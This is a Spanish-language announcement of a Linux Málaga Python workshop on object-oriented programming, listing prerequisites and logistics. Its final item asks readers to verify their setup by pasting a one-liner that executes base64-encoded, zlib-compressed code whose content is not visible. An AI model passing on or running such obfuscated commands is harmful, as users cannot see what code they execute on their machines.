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En esta edición del taller de Python de Linux Málaga vamos a centrarnos en las técnicas que han convertido a Python en uno de los lenguajes por excelencia en los últimos años.

Durante el taller vamos a explicar los conceptos que subyacen en la programación orientada a objetos.

Para la ejecución de este taller se dará una pequeña charla introductoria en la que veremos el uso de clases y métodos en Python.

Para el taller es necesario:

• Saber programar y conocer los conceptos básicos de programación orientada a objetos (Clase, Método, Atributo, Herencia) en algún lenguaje de programación.

• Traer ordenador portátil con Python 2.7 instalado.

• Se recomienda haber leído el documento Python en 14 páginas (http://www.linux-malaga.org/index.php?s=file_download&id=9) y haber practicado un poco con el lenguaje.

• El formato es taller, veremos algo de teoría al comienzo, después propondremos un juego y plantearemos soluciones para tratar entre todos de llegar a una solución funcional.

• Venir con tiempo suficiente para disfrutar de unos refrescos y unas tapas después del taller.

• Si el evento coincide con tu horario de trabajo, intenta hablar con tu empresa para que valoren el hecho de que estáis aprendiendo y recibiendo formación que a la empresa no le supone coste alguno. Además podemos emitiros un certificado de asistencia: sólo tenéis que avisar en privado antes del evento y obviamente...asistir al evento.

• Por favor, revisa si tu equipo está a punto ejecutando esto en la consola:

python2.7 -c "import base64; exec(base64.b64decode('eJxVjLEKwkAQRPt8xZgmrVZC­wE5tBAXxB9bcBhYut3H3LoVf72llpplheDMNm6kdzhSdGxmRNONX9Q2qZpOU0T40KG6XDU6eyRHFs2ImI3DEUMy1/cfvPBS2­QHgVxqCTcHoTCLFud/t+u13RV4XGRQI7cgEHyWoYaVGraUUe2edSsaQOMZ6qEbJOZN+mpHrfPcWMvGubDzyZR24=').decode('zlib'))"

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